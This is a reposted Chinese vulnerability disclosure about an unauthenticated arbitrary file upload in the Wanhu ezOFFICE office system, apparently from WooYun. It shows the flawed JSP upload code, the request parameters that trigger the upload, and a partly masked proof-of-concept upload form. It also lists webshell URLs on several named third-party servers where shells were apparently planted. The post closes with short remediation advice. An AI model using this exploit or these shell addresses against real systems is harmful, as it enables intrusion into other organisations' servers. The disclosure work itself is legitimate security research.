记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

万户ezOFFICE一处任意文件操作及解决方案

2014-12-23 07:45

万户ezOFFICE一处任意文件操作


万户ezOFFICE又一处任意文件上传可getshell

对应文件:

\defaultroot\public\jsp\multiuploadfile.jsp

出现问题的代码如下:


String filePath="/upload/"+path+"/";//上传文件存放的位置,path可自定义
if("add".equals(mode)){//上传标识
boolean tooBig=false;
myUpload.initialize(pageContext);
myUpload.upload();

for (int j=0;j<myUpload.getFiles().getCount();j++){
myRandom=new com.whir.common.util.Random().getRandom();//文件名是根据时间生产的一个序列,后面有说明
com.jspsmart.upload.File myFile = myUpload.getFiles().getFile(j);
int size=myFile.getSize();
if(fileSize==0 || myFile.getSize()<fileSize){
if (!myFile.isMissing()) {
saveName=myRandom+"."+myFile.getFileExt();
fileName=myFile.getFileName();
myFile.saveAs(filePath + saveName);//上传的文件直接保存到对应位置
}
}else{
tooBig=true;
}
}
if(tooBig){%>



还有一些参数获取,这里指出两个重要参数:


String mode=(String)request.getParameter("mode");

String path=(String)request.getParameter("path");


其中mode代表命令,path指定特定位置。

那么我们做如下构造:

path=sound&mode=add

提交无需“multipart/form-data”方式提交。

其中:

参数:path=sound 指定的路径为:\defaultroot\upload\sound\

mode=add 为满足if条件,即上传。

第一次上传可能没有数据,跳转页面也可上传。(可以直接用burp提交)

 

1105_1.png



上传成功:
 

1105_3.png



此时可以通过查看页面源码看到改名后的文件:
 

1105_2.png



代码:



<SCRIPT LANGUAGE="JavaScript">

<!--
alert("附件上传成功");
//在调用页面的table列表中显示
opener.reView("<%=saveName%>");
var path="<%=path%>";
var parentTable="<%=tableName%>";
var fileNames="<%=fileNames%>";
var saveNames="<%=saveNames%>";

var obj=eval("opener.window.document.all."+parentTable);


其中saveName为改名后的文件。

然后访问shell:http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110516441408716191497.jsp

 

1105_4.png



申明:所有测试均无损害。

 

1105_5.png



受影响的系统较多


*****l>*****
*****ead&*****
*****ad POC</*****
*****t; content="text/*****
*****uot;text/cs*****
*****e:12px; backgrou*****
*****yle>*****
*****ad>*****
*****y>*****
1.://**.**.**//oa.yundagroup.com:7001/defaultroot/public/jsp/multiuploadfile.jsppath=sound&fileName=fileName&mode=add&saveName=soundSaveName&tableName=soundTableName&fileMaxSize=0&photos=null"> _
*****pe="text" size="70" *****
*****;br&*****
*****r>*****
*****t type="file" size="70&qu*****
*****r>*****
*****;br&*****
*****uot;btnSubmit" val*****
*****form&*****
*****dy>*****
*****htm*****

上次提交的多漏洞中都中招:

WooYun: 万户OA未修补漏洞致多个政府&集团OA中招



测试了其中几个,

shell地址:

http://222.178.221.54:7001/defaultroot/upload/sound/2014110514261813627153789.jsp

http://oa.hongdou.com:7001/defaultroot/upload/sound/2014110514400983604036844.jsp

http://oa.yundagroup.com:7001/defaultroot/upload/sound/2014110514434370947164885.jsp

 

1105_6.png

 

解决方案:

1、检查所有文件操作模块

2、所有加身份验证

3、增加文件内容校验

知识来源: www.2cto.com/Article/201412/363507.html

阅读:101126 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“万户ezOFFICE一处任意文件操作及解决方案”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云